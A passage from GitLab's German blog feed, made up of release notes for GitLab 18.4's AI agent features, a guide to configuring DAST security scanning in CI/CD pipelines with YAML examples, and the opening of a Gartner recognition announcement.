<p><strong><a href="https://docs.gitlab.com/user/gitlab_duo/model_selection/#select-a-model-to-use-in-gitlab-duo-agentic-chat">Modellauswahl für Nutzer</a></strong></p>
<p>Mit früheren Releases konntest du Modelle auf Namespace-Ebene auswählen, aber mit 18.4 kannst du nun Modelle auf Nutzerebene für eine bestimmte Chat-Session wählen. Das ermächtigt dich, zu entscheiden, welches LLM für die jeweilige Aufgabe geeignet ist, oder mit verschiedenen LLMs zu experimentieren, um zu sehen, welches die beste Antwort für deine Aufgabe liefert.</p>
</li>
<li>
<p><strong>Verbesserte Formatierung und visuelles Design</strong></p>
<p>Wir hoffen, du liebst das neue visuelle Design für GitLab Duo Agentic Chat, einschließlich verbesserter Handhabung von Tool-Call-Genehmigungen für ein angenehmeres Erlebnis.</p>
</li>
<li>
<p><strong>Agent Sessions verfügbar über Agentic Chat</strong></p>
<p>Sessions werden zu einem zentralen Bestandteil des Agentic Chat-Erlebnisses. Jeder Agent-Run oder Flow erscheint nun in der Sessions-Übersicht, die über Agentic Chat verfügbar ist. In jeder Session siehst du detaillierte Informationen wie Job-Logs, Nutzerinformationen und Tool-Metadaten – das bietet wichtige Transparenz darüber, wie Agents in deinem Auftrag arbeiten.</p>
<p><strong>Hinweis:</strong> Sessions in Agentic Chat ist nur auf GitLab.com verfügbar. Diese Verbesserung ist für Self-Managed-Kunden nächsten Monat im 18.5-Update geplant.</p>
</li>
</ul>
<h2>Erschließe deine Codebase</h2>
<p><em>Bei Agents ist Kontext entscheidend. Mit Knowledge Graph gibst du deinen Agents mehr Kontext, damit sie schneller analysieren und dir bessere Ergebnisse liefern können.</em></p>
<h3>Neu: Der GitLab Knowledge Graph (Beta)</h3>
<p>Der <a href="https://gitlab-org.gitlab.io/rust/knowledge-graph/">GitLab Knowledge Graph</a> in 18.4 transformiert, wie Entwickler und Agents komplexe Codebasen verstehen und navigieren. Der Knowledge Graph bietet eine vernetzte Karte deines gesamten Projekts und verknüpft Dateien, Routen und Referenzen über den Software-Entwicklungszyklus hinweg. Durch Tools wie Go-to-Definition, Codebase-Suche und Referenz-Tracking über In-Chat-Queries erhalten Entwickler die Möglichkeit, präzise Fragen zu stellen wie „Zeig mir alle Route-Dateien&quot; oder „Was ist noch von dieser Änderung betroffen?&quot;</p>
<p>Dieser tiefere Kontext hilft Teams, schneller und mit mehr Vertrauen zu arbeiten – egal ob es um das Onboarding neuer Mitwirkender geht, tiefgehende Recherche in einem Projekt oder die Untersuchung, wie eine Änderung abhängigen Code beeinflusst. Je mehr von deinem Ökosystem in GitLab lebt, desto mächtiger wird der Knowledge Graph und gibt sowohl Menschen als auch KI-Agents das Fundament, mit Genauigkeit, Geschwindigkeit und vollem Projektbewusstsein zu bauen. In zukünftigen Releases werden wir alle deine GitLab-Daten in den Knowledge Graph einbinden, einschließlich Plans, MRs, Sicherheitslücken und mehr.</p>
<p>Dieses Release des Knowledge Graph fokussiert sich auf lokale Code-Indexierung, bei der das <code>gkg</code> CLI deine Codebase in eine lebendige, einbettbare Graph-Datenbank für RAG verwandelt. Du kannst es mit einem einfachen Einzeiler-Script installieren, lokale Repositories parsen und über MCP verbinden, um deinen Workspace abzufragen.</p>
<p>Unsere Vision für das Knowledge Graph-Projekt ist zweigeteilt: Wir bauen eine lebendige Community Edition, die Entwickler heute schon lokal ausführen können, die als Fundament für einen zukünftigen, vollständig integrierten Knowledge Graph Service innerhalb von GitLab.com und Self-Managed-Instanzen dienen wird.</p>
<h2>Automatisiere deine Pipeline-Wartung</h2>
<p><em>Behebe Pipeline-Fehler schneller und bleib im Flow mit dem Fix Failed Pipelines Flow.</em></p>
<h3>Fix Failed Pipelines Flow mit Business-Bewusstsein</h3>
<p>Pipelines grün zu halten ist entscheidend für deine Entwicklungsgeschwindigkeit, aber traditionelle Ansätze konzentrieren sich nur auf technische Fehlersuche ohne Berücksichtigung der geschäftlichen Auswirkungen. Der <strong>Fix Failed Pipelines Flow</strong> adressiert diese Herausforderung, indem er technische Analyse mit strategischem Kontext kombiniert. Er kann beispielsweise automatisch priorisieren, eine fehlgeschlagene Deployment-Pipeline für einen kundenorientierten Service vor einem nächtlichen Test-Job zu reparieren oder Build-Probleme in einem hochpriorisierten Release-Branch anders zu kennzeichnen als in experimentellen Feature-Branches.</p>
<ul>
<li><strong>Business-bewusste Fehlererkennung</strong> überwacht Pipeline-Ausführungen und versteht dabei die Bedeutung verschiedener Workflows und Deployment-Ziele.</li>
<li><strong>Kontextuelle Ursachenanalyse</strong> analysiert Fehlerprotokolle zusammen mit Geschäftsanforderungen, kürzlichen Änderungen und projektübergreifenden Abhängigkeiten, um die zugrunde liegenden Ursachen zu identifizieren.</li>
<li><strong>Strategische Fix-Priorisierung</strong> generiert geeignete Fixes unter Berücksichtigung von geschäftlichen Auswirkungen, Deadlines und Prioritäten bei der Ressourcenzuweisung.</li>
<li><strong>Workflow-integrierte Lösung</strong> erstellt automatisch Merge Requests mit Fixes, die ordnungsgemäße Review-Prozesse beibehalten und gleichzeitig geschäftlichen Kontext für Priorisierungsentscheidungen liefern.</li>
</ul>
<p>Dieser Flow hält Pipelines grün und wahrt dabei die strategische Ausrichtung, sodass automatisierte Fixes Geschäftsziele unterstützen, anstatt nur technische Probleme isoliert zu lösen.</p>
<h2>Personalisiere deine KI-Umgebung</h2>
<p><em>Automatisierung funktioniert nur, wenn du den Modellen dahinter vertraust. Deshalb liefert 18.4 Governance-Features wie Modellauswahl und GitLab-verwaltete Schlüssel.</em></p>
<h3>GitLab Duo Modellauswahl zur Optimierung der Feature-Performance</h3>
<p>Die <a href="https://docs.gitlab.com/user/gitlab_duo/model_selection/">Modellauswahl</a> ist jetzt allgemein verfügbar und gibt dir direkte Kontrolle darüber, welche Large Language Models (<a href="https://about.gitlab.com/blog/what-is-a-large-language-model-llm/">LLMs</a>) GitLab Duo antreiben. Du und dein Team könnt die Modelle eurer Wahl auswählen, sie unternehmensweit anwenden oder pro Feature anpassen. Du kannst Standards setzen, um Konsistenz über Namespaces und Tools hinweg zu gewährleisten, mit Governance-, Compliance- und Sicherheitsanforderungen im Blick.</p>
<p>Für Kunden, die GitLab Duo Self-Hosted nutzen, bietet die neu hinzugefügte Unterstützung für GPT OSS und GPT-5 zusätzliche Flexibilität für KI-gestützte Entwicklungs-Workflows.</p>
<p><strong>Hinweis:</strong> GitLab Duo Self-Hosted ist für GitLab.com-Kunden nicht verfügbar, und GPT-Modelle werden auf GitLab.com nicht unterstützt.</p>
<h2>Schütze deinen sensiblen Kontext</h2>
<p><em>Neben Governance kommt Datenschutz, der dir feingranulare Kontrolle darüber gibt, was KI sehen kann und was nicht.</em></p>
<h3>GitLab Duo Context Exclusion für granularen Datenschutz</h3>
<p>Es ist keine Überraschung – du brauchst granulare Kontrolle darüber, auf welche Informationen KI-Agents zugreifen können. <strong>GitLab Duo Context Exclusion</strong> in 18.4 bietet Einstellungen auf Projektebene, mit denen Teams bestimmte Dateien oder Dateipfade vom KI-Zugriff ausschließen können. Zu den Funktionen gehören:</p>
<ul>
<li><strong>Datei-spezifische Ausschlüsse</strong> zum Schutz sensibler Dateien wie Passwort-Konfigurationen, Secrets und proprietäre Algorithmen.</li>
<li><strong>Pfad-basierte Regeln</strong> zur Erstellung von Ausschlussmustern basierend auf Verzeichnisstrukturen oder Dateinamenskonventionen.</li>
<li><strong>Flexible Konfiguration</strong> zur Anwendung von Ausschlüssen auf Projektebene bei gleichzeitiger Aufrechterhaltung der Entwicklungs-Workflow-Effizienz.</li>
<li><strong>Audit-Sichtbarkeit</strong> zur Verfolgung, welche Inhalte ausgeschlossen sind, um die Einhaltung von Daten-Governance-Richtlinien zu unterstützen.</li>
</ul>
<p>GitLab Duo Context Exclusion hilft dir, sensible Daten zu schützen, während du die Entwicklung mit agentischer KI beschleunigst.</p>
<h2>Erweitere deine KI-Fähigkeiten mit neuen MCP-Tools</h2>
<p><em>Erweiterte MCP-Tools erweitern diese Fähigkeiten noch weiter und verbinden deine GitLab-Umgebung mit einem breiteren Ökosystem intelligenter Agents.</em></p>
<h3>Neue Tools für GitLab MCP Server</h3>
<p>Aufbauend auf dem in <a href="https://about.gitlab.com/de-de/blog/gitlab-13-expanding-ai-orchestration-in-software-engineering/">18.3</a> eingeführten initialen MCP-Server fügt GitLab 18.4 weitere MCP-Tools hinzu – Funktionen, die definieren, wie MCP-Clients mit GitLab interagieren. Diese neuen Tools erweitern die Integrationsmöglichkeiten und ermöglichen sowohl First-Party- als auch Third-Party-KI-Agents, komplexere Aufgaben zu übernehmen, wie den Zugriff auf Projektdaten, die Durchführung von Code-Operationen oder die Suche über Repositories hinweg – alles unter Beachtung bestehender Sicherheits- und Berechtigungsmodelle. Eine vollständige Liste der MCP-Tools, einschließlich der neuen Ergänzungen in 18.4, findest du in unserer <a href="https://docs.gitlab.com/user/gitlab_duo/model_context_protocol/mcp_server/">MCP-Server-Dokumentation</a>.</p>
<h2>Erlebe die Zukunft der intelligenten Software-Entwicklung</h2>
<p>Mit der <a href="https://about.gitlab.com/de-de/gitlab-duo/agent-platform/">GitLab Duo Agent Platform</a> können Ingenieure von der Arbeit an einzelnen Issues in sequenzieller Weise zu Multi-Thread-Zusammenarbeit mit asynchronen Agents übergehen, die wie Teamkollegen agieren, um Arbeit schneller zu erledigen. Wir bringen diese einzigartige Vision mit den Präferenzen unserer Kunden für Unabhängigkeit und Wahlfreiheit auf den Markt: Betreibe sie in deinen bevorzugten Cloud-Umgebungen mit den LLMs und KI-Tools, die für dich am besten funktionieren, innerhalb der von dir festgelegten Sicherheits- und Compliance-Leitplanken.</p>
<p>Als integraler Bestandteil dieser Innovation ist GitLab 18.4 mehr als ein Software-Upgrade – es geht darum, das tägliche Erlebnis von Entwicklern reibungsloser, smarter und sicherer zu gestalten. Von wiederverwendbaren Agents bis zu business-bewussten Pipeline-Fixes ist jedes Feature darauf ausgelegt, Teams im Flow zu halten und gleichzeitig Geschwindigkeit, Sicherheit und Kontrolle auszubalancieren. Für einen tieferen Einblick, wie diese Funktionen in der Praxis zusammenkommen, schau dir unser Walkthrough-Video an.</p>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1120288083?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;A day in the life with GitLab Duo Agent Platform&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;
&lt;p&gt;&lt;/p&gt;</p>
<p>GitLab Premium- und Ultimate-Nutzer können diese Funktionen heute auf <a href="https://GitLab.com">GitLab.com</a> und in Self-Managed-Umgebungen nutzen, mit Verfügbarkeit für <a href="https://about.gitlab.com/dedicated/">GitLab Dedicated</a>-Kunden nächsten Monat.</p>
<blockquote>
<p><strong>Aktiviere Beta- und experimentelle Features in GitLab Duo Agent Platform heute</strong> und erlebe, wie Full-Context-KI die Art und Weise transformieren kann, wie deine Teams Software bauen. Neu bei GitLab? <a href="https://about.gitlab.com/free-trial/devsecops/">Starte deine kostenlose Testversion</a> und entdecke, warum die Zukunft der Entwicklung KI-gestützt, sicher und durch die weltweit umfassendste DevSecOps-Plattform orchestriert ist.</p>
</blockquote>
<h2>Bleib auf dem neuesten Stand mit GitLab</h2>
<p>Um sicherzustellen, dass du die neuesten Features, Sicherheitsupdates und Performance-Verbesserungen erhältst, empfehlen wir, deine GitLab-Instanz aktuell zu halten. Die folgenden Ressourcen können dir bei der Planung und Durchführung deines Upgrades helfen:</p>
<ul>
<li><a href="https://gitlab-com.gitlab.io/support/toolbox/upgrade-path/">Upgrade Path Tool</a> – gib deine aktuelle Version ein und sieh die exakten Upgrade-Schritte für deine Instanz</li>
<li><a href="https://docs.gitlab.com/update/upgrade_paths/">Upgrade-Dokumentation</a> – detaillierte Anleitungen für jede unterstützte Version, einschließlich Anforderungen, Schritt-für-Schritt-Anweisungen und Best Practices</li>
</ul>
<p>Durch regelmäßige Upgrades stellst du sicher, dass dein Team von den neuesten GitLab-Funktionen profitiert und sicher und unterstützt bleibt.</p>
<p>Für Organisationen, die einen Hands-off-Ansatz wünschen, bietet sich <a href="https://content.gitlab.com/viewer/d1fe944dddb06394e6187f0028f010ad#1">GitLabs Managed Maintenance Service</a> an. Mit Managed Maintenance bleibt dein Team auf Innovation fokussiert, während GitLab-Experten deine Self-Managed-Instanz zuverlässig aktualisiert, sicher und bereit für die Führung in DevSecOps halten. Frage deinen Account Manager nach weiteren Informationen.</p>
<p><em>Dieser Blogbeitrag enthält „zukunftsgerichtete Aussagen&quot; im Sinne von Section 27A des Securities Act von 1933 in der geänderten Fassung und Section 21E des Securities Exchange Act von 1934. Obwohl wir glauben, dass die in diesen Aussagen reflektierten Erwartungen angemessen sind, unterliegen sie bekannten und unbekannten Risiken, Unsicherheiten, Annahmen und anderen Faktoren, die dazu führen können, dass tatsächliche Ergebnisse oder Resultate wesentlich abweichen. Weitere Informationen zu diesen Risiken und anderen Faktoren findest du unter der Überschrift „Risk Factors&quot; in unseren Einreichungen bei der SEC. Wir übernehmen keine Verpflichtung, diese Aussagen nach dem Datum dieses Blogbeitrags zu aktualisieren oder zu überarbeiten, außer wenn gesetzlich erforderlich.</em></p>
]]></content>
        <author>
            <name>Bill Staples</name>
            <uri>https://about.gitlab.com/blog/authors/bill-staples</uri>
        </author>
        <published>2025-09-23T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Systematische Anwendungssicherheit mit GitLab DAST: Compliance-Framework für deutsche Unternehmen]]></title>
        <id>https://about.gitlab.com/de-de/blog/comprehensive-guide-to-gitlab-dast/</id>
        <link href="https://about.gitlab.com/de-de/blog/comprehensive-guide-to-gitlab-dast/"/>
        <updated>2025-09-17T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Moderne Unternehmen nutzen webbasierte Plattformen für Kundeninteraktionen, Finanztransaktionen und Geschäftsprozesse. Die digitale Transformation erweitert die Angriffsfläche dramatisch - Webanwendungen werden zu Hauptzielen für Cyberkriminelle.</p>
<p>Static Code Analysis erkennt nur Schwachstellen im Quellcode. Runtime-Sicherheitsprobleme bleiben verborgen, wenn Anwendungen mit realen Umgebungen, Drittanbieter-Services und Benutzer-Workflows interagieren. Dynamic Application Security Testing (<a href="https://docs.gitlab.com/user/application_security/dast/">DAST</a>) schließt diese Lücke. GitLab DAST automatisiert Penetrationstests in CI/CD-Pipelines und validiert Sicherheit kontinuierlich ohne Workflow-Unterbrechung.</p>
<h2>Warum DAST für deutsche Unternehmen?</h2>
<p>DAST testet Anwendungen in ihrer Betriebsumgebung und identifiziert Schwachstellen, die statische Analysen übersehen. GitLab DAST integriert sich in Shift-Left Security-Workflows und stärkt Compliance und Risikomanagement.</p>
<h3>Runtime-Schwachstellen-Erkennung</h3>
<p>DAST identifiziert Sicherheitsschwachstellen in laufenden Anwendungen. DAST-Scanner interagieren mit Live-Anwendungen wie externe Angreifer und decken Probleme auf wie:</p>
<ul>
<li><strong>Authentifizierungs- und Session-Fehler</strong>, die unbefugten Zugang ermöglichen</li>
<li><strong>Schwachstellen bei der Eingabevalidierung</strong>, einschließlich SQL-Injection, Cross-Site-Scripting (XSS) und Command-Injection</li>
<li><strong>Konfigurationsschwächen</strong> in Webservern, Datenbanken und Anwendungs-Frameworks</li>
<li><strong>Fehler in der Geschäftslogik</strong> aus Benutzerinteraktionen</li>
<li><strong>API-Sicherheitsprobleme</strong>, einschließlich unsachgemäßer Authentifizierung, Autorisierung und Datenexposition</li>
</ul>
<p>DAST ergänzt andere Sicherheitstest-Ansätze für umfassende Anwendungssicherheits-Abdeckung. In Kombination mit Static Application Security Testing (<a href="https://docs.gitlab.com/user/application_security/sast/">SAST</a>), Software Composition Analysis (<a href="https://docs.gitlab.com/user/application_security/dependency_scanning/">SCA</a>), manuellen Penetrationstests und <a href="https://about.gitlab.com/solutions/application-security-testing/">vielen anderen Scanner-Typen</a> füllt DAST kritische Lücken in der Sicherheitsvalidierung:</p>
<ul>
<li><strong>Externe Testperspektive</strong>, die reale Angriffsszenarien nachahmt</li>
<li><strong>Umgebungsspezifische Tests</strong>, die Sicherheit in tatsächlichen Produktionsumgebungen validieren</li>
<li><strong>Drittanbieter-Komponenten-Tests</strong>, einschließlich APIs, Bibliotheken und externe Services</li>
<li><strong>Konfigurationsvalidierung</strong> über den gesamten Anwendungsstack hinweg</li>
</ul>
<h3>Nahtlose Shift-Left Security Integration</h3>
<p>GitLab DAST integriert sich in CI/CD-Pipelines und identifiziert Sicherheitsprobleme früh im Entwicklungszyklus. Dieser Shift-Left-Ansatz bietet Vorteile:</p>
<ul>
<li><strong>Kostensenkung</strong> – Schwachstellen während der Entwicklung zu beheben kostet 10 bis 100 Mal weniger als Korrekturen in der Produktion.</li>
<li><strong>Schnellere Markteinführung</strong> – Tests eliminieren Engpässe durch manuelle Security-Reviews.</li>
<li><strong>Entwickler-Stärkung</strong> – Sofortiges Feedback baut Sicherheitsbewusstsein auf.</li>
</ul>
<h3>Compliance und Risikomanagement</h3>
<p>Regulierungsrahmen und Industriestandards fordern regelmäßige Sicherheitstests von Webanwendungen. DAST erfüllt Compliance-Anforderungen für Standards wie:</p>
<ul>
<li><strong>PCI DSS</strong> für Anwendungen, die Zahlungskartensdaten verarbeiten</li>
<li><strong>SOC 2</strong> Sicherheitskontrollen für Service-Organisationen</li>
<li><strong>ISO 27001</strong> Informationssicherheits-Management-Anforderungen</li>
</ul>
<p>GitLab DAST automatisiert Tests konsistent und wiederholbar. Auditoren vertrauen den Ergebnissen, während Berichte die nötige Dokumentation für Compliance-Validierung liefern.</p>
<h2>DAST implementieren</h2>
<p>Vor der Implementierung von GitLab DAST stellen Sie sicher, dass Ihre Umgebung folgende Anforderungen erfüllt:</p>
<ul>
<li><strong>GitLab Version und Ultimate-Abonnement</strong> – DAST ist in <a href="https://about.gitlab.com/pricing/ultimate/">GitLab Ultimate</a> verfügbar und benötigt GitLab 13.4 oder später für volle Funktionalität; jedoch wird die <a href="https://about.gitlab.com/releases/categories/releases/">neueste Version</a> empfohlen.</li>
<li><strong>Anwendungszugänglichkeit</strong> – Ihre Anwendung muss über HTTP/HTTPS mit einer öffentlich erreichbaren URL oder innerhalb des Netzwerks Ihres GitLab Runners zugänglich sein.</li>
<li><strong>Authentifizierung-Setup</strong> – Falls Ihre Anwendung Authentifizierung erfordert, bereiten Sie Test-Credentials vor oder konfigurieren Sie Authentifizierungs-Bypass-Mechanismen für Sicherheitstests.</li>
</ul>
<h3>Systematische DAST-Integration: Drei Konfigurationsebenen</h3>
<p><strong>Grundkonfiguration für sofortigen Start:</strong>
Die einfachste DAST-Integration erfolgt durch Template-Einbindung in Ihre <a href="https://docs.gitlab.com/ci/#step-1-create-a-gitlab-ciyml-file"><code>.gitlab-ci.yml</code></a> Datei:</p>
<pre><code class="language-yaml">include:
  - template: DAST.gitlab-ci.yml

variables:
  DAST_WEBSITE: &quot;https://your-application.example.com&quot;
</code></pre>
<p>Diese Basiskonfiguration wird:</p>
<ul>
<li>Einen DAST-Scan gegen Ihre spezifizierte Website ausführen</li>
<li>Einen Sicherheitsbericht in GitLabs Security Dashboard generieren</li>
<li>Die Pipeline fehlschlagen lassen, falls hochschwere Schwachstellen erkannt werden</li>
<li>Scan-Ergebnisse als Pipeline-Artefakte speichern</li>
</ul>
<p><strong>Systematische Pipeline-Integration:</strong>
Für umfassende CI/CD-Vorteile können Sie zuerst die Anwendung deployen und DAST so konfigurieren, dass es nur nach erfolgtem Deployment läuft:</p>
<pre><code class="language-yaml">stages:
  - build
  - deploy
  - dast

include:
  - template: Security/DAST.gitlab-ci.yml

# Konfiguriert DAST für aktive Scans auf Nicht-Main-Branches und passive Scans auf Main-Branch
dast:
  stage: dast
  rules:
    - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH
      variables:
        DAST_FULL_SCAN: &quot;false&quot;
    - if: $CI_COMMIT_REF_NAME != $CI_DEFAULT_BRANCH
      variables:
        DAST_FULL_SCAN: &quot;true&quot;
  dependencies:
    - deploy
</code></pre>
<h3>Passive vs. Active Scanning verstehen</h3>
<p>GitLab DAST verwendet zwei unterschiedliche Scanning-Methodologien (passiv und aktiv), die jeweils verschiedene Sicherheitstest-Bedürfnisse erfüllen.</p>
<p><strong>Passive Scans</strong> analysieren Server-Antworten ohne das Senden potenziell schädlicher Anfragen:</p>
<ul>
<li>Untersuchen HTTP-Headers, Cookies und Antwortinhalte auf Sicherheits-Fehlkonfigurationen</li>
<li>Identifizieren Information-Disclosure-Schwachstellen wie exponierte Server-Versionen</li>
<li>Erkennen fehlende Sicherheits-Headers (CSP, HSTS, X-Frame-Options)</li>
<li>Analysieren SSL/TLS-Konfiguration und Zertifikatsprobleme</li>
</ul>
<p><strong>Active Scans</strong> senden gestaltete Anfragen, die Schwachstellen auslösen sollen:</p>
<ul>
<li>Testen auf Injection-Schwachstellen (SQL-Injection, XSS, Command-Injection)</li>
<li>Versuchen Authentifizierungs- und Autorisierungs-Fehler auszunutzen</li>
<li>Validieren Input-Sanitization und Output-Encoding</li>
<li>Testen auf Business-Logic-Schwachstellen</li>
</ul>
<p><strong>Hinweis:</strong> Der DAST-Scanner ist standardmäßig auf passiv eingestellt.</p>
<h3>Authentifizierungs-Konfiguration</h3>
<p><strong>Enterprise-Authentifizierung für vollständige Abdeckung:</strong>
DAST benötigt Authentifizierungs-Konfiguration für umfassende Sicherheitsabdeckung:</p>
<pre><code class="language-yaml">variables:
  DAST_AUTH_USERNAME: &quot;admin@tanuki.local&quot;
  DAST_AUTH_PASSWORD: &quot;admin123&quot;
  DAST_AUTH_USERNAME_FIELD: &quot;css:input[id=email]&quot;
  DAST_AUTH_PASSWORD_FIELD: &quot;css:input[id=password]&quot;
  DAST_AUTH_SUBMIT_FIELD: &quot;css:button[id=loginButton]&quot;
  DAST_AUTH_REPORT: &quot;true&quot;
  DAST_REQUEST_COOKIES: &quot;welcomebanner_status:dismiss&quot;
</code></pre>
<p>Verfügbare Authentifizierungs-Optionen:</p>
<ul>
<li>Einstufige Login-Formulare</li>
<li>Mehrstufige Login-Formulare</li>
<li>Authentifizierung zu URLs außerhalb des Zielbereichs</li>
</ul>
<h2>Ergebnisse in Merge Requests anzeigen</h2>
<p>GitLabs DAST integriert Sicherheits-Scanning nahtlos in Ihren Entwicklungsworkflow durch direkte Anzeige der Ergebnisse in Merge Requests. Diese umfassen umfassende Schwachstellen-Daten, die Entwicklern helfen, Sicherheitsprobleme vor der Integration zu identifizieren und zu beheben.</p>
<h3>Schwachstellen-Details</h3>
<ul>
<li>Schwachstellen-Name und -Typ (z.B. SQL-Injection, XSS, CSRF)</li>
<li>Schweregrad (Critical, High, Medium, Low, Info)</li>
<li>CVSS-Score wenn anwendbar</li>
<li>Common Weakness Enumeration (CWE) Identifier</li>
<li>Vertrauensniveau des Befunds</li>
</ul>
<h3>Standort-Informationen</h3>
<ul>
<li>URL/Endpoint, wo die Schwachstelle erkannt wurde</li>
<li>Verwendete HTTP-Methode (GET, POST, etc.)</li>
<li>Request/Response-Details der verwundbaren Interaktion</li>
<li>Parameter-Namen, die verwundbar sind</li>
<li>Nachweis der Schwachstelle</li>
</ul>
<h2>Systematische Schwachstellen-Governance</h2>
<p>Schwachstellen im Default-Branch verwalten Sie über den GitLab Vulnerability Report - ein zentralisiertes Dashboard, das alle Sicherheitsbefunde über Ihr Projekt oder Organisation zeigt. Diese Ansicht sammelt alle Sicherheitstest-Ergebnisse und bietet Filter- und Sortier-Funktionen, um Behebungsmaßnahmen zu priorisieren.</p>
<p>Die Vulnerability-Seite bietet umfassende Schwachstellen-Daten. Von hier aus können Sie Schwachstellen durch Status-Zuweisung triagieren:</p>
<ul>
<li>Needs triage (Standard)</li>
<li>Confirmed</li>
<li>Dismissed (Acceptable risk, False positive, Mitigating control, Used in tests, Not applicable)</li>
<li>Resolved</li>
</ul>
<p>Wenn ein Schwachstellen-Status geändert wird, enthält das Audit-Log eine Notiz darüber, wer es geändert hat, wann es geändert wurde und den Grund für die Änderung. Dieses umfassende System ermöglicht Sicherheitsteams effiziente Priorisierung, Tracking und Management von Schwachstellen während ihres gesamten Lebenszyklus.</p>
<h2>On-Demand und geplante DAST-Scans</h2>
<p>GitLab bietet flexible Scanning-Optionen über Standard-CI/CD-Pipeline-Integration hinaus durch On-Demand und geplante DAST-Scans. On-Demand-Scans ermöglichen Sicherheitsteams und Entwicklern, DAST-Tests manuell bei Bedarf zu initiieren, ohne auf Code-Änderungen oder Pipeline-Trigger zu warten.</p>
<p>On-Demand-Scans können mit benutzerdefinierten Parametern, Ziel-URLs und Scanning-Profilen konfiguriert werden. Geplante DAST-Scans bieten automatisierte, zeitbasierte Sicherheitstests unabhängig vom Entwicklungsworkflow.</p>
<h2>DAST in Compliance-Workflows</h2>
<p>GitLabs Security-Policy-Framework ermöglicht Organisationen die Durchsetzung konsistenter Sicherheitsstandards über alle Projekte hinweg. Sicherheitsrichtlinien ermöglichen zentrale Governance von DAST-Scanning-Anforderungen.</p>
<p><strong>Scan/Pipeline Execution Policies</strong> können konfiguriert werden, um DAST-Scans automatisch basierend auf spezifischen Bedingungen auszulösen. <strong>Merge Request Approval Policies</strong> bieten eine zusätzliche Sicherheits-Governance-Ebene durch erzwungene menschliche Review für Code-Änderungen, die Sicherheit beeinträchtigen könnten.</p>
<p>Für Compliance bietet GitLab <a href="https://docs.gitlab.com/user/application_security/security_inventory/">Security Inventory</a> und <a href="https://docs.gitlab.com/user/compliance/compliance_center/">Compliance Center</a>, die Ihnen ermöglichen zu überwachen, ob DAST in Ihrer Umgebung läuft und wo es erforderlich ist.</p>
<h2>Zusammenfassung</h2>
<p>GitLab DAST stellt eine mächtige Lösung für die Integration dynamischer Sicherheitstests in moderne Entwicklungsworkflows dar. Durch DAST-Implementierung in Ihrer CI/CD-Pipeline gewinnt Ihr Team die Fähigkeit, Runtime-Schwachstellen automatisch zu erkennen, Compliance mit Sicherheitsstandards aufrechtzuerhalten und sicherere Anwendungen ohne Geschwindigkeitseinbußen zu erstellen.</p>
<p>Der Schlüssel zur erfolgreichen DAST-Implementierung liegt darin, mit Grundkonfiguration zu beginnen und schrittweise zu sophistizierteren Scanning-Profilen entsprechend Ihrer Sicherheits-Reife zu expandieren. Beginnen Sie mit einfachem Website-Scanning, fügen Sie dann progressiv Authentifizierung, Custom Exclusions und erweiterte Berichte hinzu.</p>
<p>Denken Sie daran, dass DAST am effektivsten ist, wenn es mit anderen Sicherheitstest-Ansätzen kombiniert wird. Verwenden Sie es neben statischer Analyse, Dependency-Scanning und manuellen Security-Reviews für eine umfassende Sicherheitstest-Strategie.</p>
<blockquote>
<p><strong>Für detaillierte Implementierungsschritte, Authentifizierungs-Konfiguration und technische Setup-Anleitungen siehe den <a href="https://about.gitlab.com/blog/comprehensive-guide-to-gitlab-dast/">umfassenden englischen Implementierungsguide</a>.</strong></p>
</blockquote>
]]></content>
        <author>
            <name>Fernando Diaz</name>
            <uri>https://about.gitlab.com/blog/authors/fernando-diaz</uri>
        </author>
        <published>2025-09-17T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[GitLab als Leader im 2025 Gartner Magic Quadrant für AI Code Assistants ausgezeichnet]]></title>
        <id>https://about.gitlab.com/de-de/blog/gitlab-named-a-leader-in-the-2025-gartner-magic-quadrant-for-ai-code-assistants/</id>
        <link href="https://about.gitlab.com/de-de/blog/gitlab-named-a-leader-in-the-2025-gartner-magic-quadrant-for-ai-code-assistants/"/>
        <updated>2025-09-17T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>GitLab wurde zum zweiten Mal als Leader im 2025 Gartner® Magic Quadrant™ für AI Code Assistants ausgezeichnet. Diese Anerkennung bestätigt einen zentralen Pfeiler unserer umfassenden KI-Strategie: Die Evolution von intelligenter Code-Unterstützung zu einer ganzheitlichen KI, die die Art und Weise transformiert, wie Teams Software planen, entwickeln, sichern und bereitstellen.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1758121248/jfkmhddve6qvlg79xico.png" alt="2025 Gartner® Magic Quadrant™ für AI Code Assistants"></p>
<blockquote>
<p><a href="https://about.gitlab.com/gartner-mq-ai-code-assistants/">Report herunterladen.</a></p>
</blockquote>
<h2>Von KI-Funktionen zu intelligenter Zusammenarbeit</h2>
<p>Die Gartner-Evaluierung konzentrierte sich unserer Ansicht nach auf die generativen KI-Code-Assistenz-Funktionen von GitLab Duo. Während GitLab Duo als KI-Add-on zur GitLab DevSecOps-Plattform begann, legte es den Grundstein für unsere heutige Entwicklung: Agentic AI, die nativ in die GitLab DevSecOps-Plattform integriert ist.</p>
<p>Die <a href="https://about.gitlab.com/de-de/gitlab-duo/agent-platform/">GitLab Duo Agent Platform</a> ermöglicht es Entwickler(inne)n, gemeinsam mit mehreren KI-Agenten zu arbeiten, die Aufgaben über den gesamten Software-Lebenszyklus automatisieren. Agenten kollaborieren miteinander und mit Menschen und nutzen dabei GitLabs Knowledge Graph, um mit vollständigem Projektkontext zu agieren. Dies befähigt Teams, schneller zu arbeiten und gleichzeitig Transparenz und Kontrolle zu bewahren.</p>
<ul>
<li><strong>Spezialisierte Agenten</strong> übernehmen parallel Aufgaben wie Code-Generierung, Sicherheitsanalyse und Research.</li>
<li><strong>Knowledge Graph</strong> verbindet Agenten mit einem einheitlichen System of Record über Code, Issues, Pipelines und Compliance-Daten.</li>
